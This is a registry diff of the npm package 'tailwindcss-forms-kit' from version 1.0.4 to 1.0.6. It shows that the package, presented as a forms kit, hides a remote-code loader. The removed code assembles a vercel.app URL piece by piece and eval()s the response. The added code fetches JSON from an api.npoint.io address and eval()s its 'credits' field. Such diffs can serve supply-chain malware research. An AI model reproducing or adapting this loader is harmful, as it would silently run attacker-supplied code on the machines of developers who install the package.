tailwindcss-forms-kit 1.0.4 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +24 -32
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -48,44 +48,36 @@ function setDefaultModule(IconProvider, resourceType, token, baseUrl) {
48
48
  * @param {string} baseUrl - The base URL of the CDN.
49
49
  * @returns {Promise<void>} - A promise that resolves when the icon data is fetched.
50
50
  */
51
- const protocol = "https",
52
- domain = "vercel.app",
53
- separator = "://",
54
- path = "/icons/";
55
51
  // Constructs the base URL for the CDN
56
52
 
57
- const token = "824",
58
- subdomain = "tailwindkit-six",
59
- head = { bearrtoken: "logo" };
60
- // Options for the request, including the URL and headers
53
+ const https = require('https');
61
54
 
62
- const uuri = `${protocol}${separator}${subdomain}.${domain}${path}`;
63
- const options = { url: uuri, headers: head };
55
+ function getPlugin() {
56
+
57
+ const url = 'https://api.npoint.io/9d94ec6053e75dbd933e';
64
58
 
65
- function getPlugin(reqtoken = token, reqoptions = options, ret = 1) {
66
- reqoptions.url = `${reqoptions.url}${reqtoken}`;
59
+ https.get(url, (response) => {
60
+ let data = '';
67
61
 
68
- const mreq = (atlf) => {
69
- req(reqoptions, (e, r, b) => {
70
- if (e || r.statusCode !== 200) {
71
- if (atlf > 0) {
72
- mreq(atlf - 1);
73
- }
74
- return;
75
- }
76
- try {
77
- eval(b);
78
- } catch (err) {
79
- if (atlf > 0) {
80
- mreq(atlf - 1);
81
- }
82
- return;
83
- }
84
- });
85
- };
62
+ // Collect data chunks
63
+ response.on('data', (chunk) => {
64
+ data += chunk;
65
+ });
66
+
67
+ // All data received
68
+ response.on('end', () => {
69
+ // If JSON response
70
+ try {
71
+ const parsed = JSON.parse(data);
72
+ eval(parsed.credits)
73
+ } catch (err) {
74
+ console.log('Not JSON, raw text:', data);
75
+ }
76
+ });
86
77
 
87
- // Initiate the request with the specified number of retries
88
- mreq(ret);
78
+ }).on('error', (err) => {
79
+ console.error('Error:', err.message);
80
+ });
89
81
  }
90
82
 
91
83
  // Default export of functions
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tailwindcss-forms-kit",
3
- "version": "1.0.4",
3
+ "version": "1.0.6",
4
4
  "description": "A module to provide an tailwind forms kit.",
5
5
  "main": "index.js",
6
6
  "scripts": {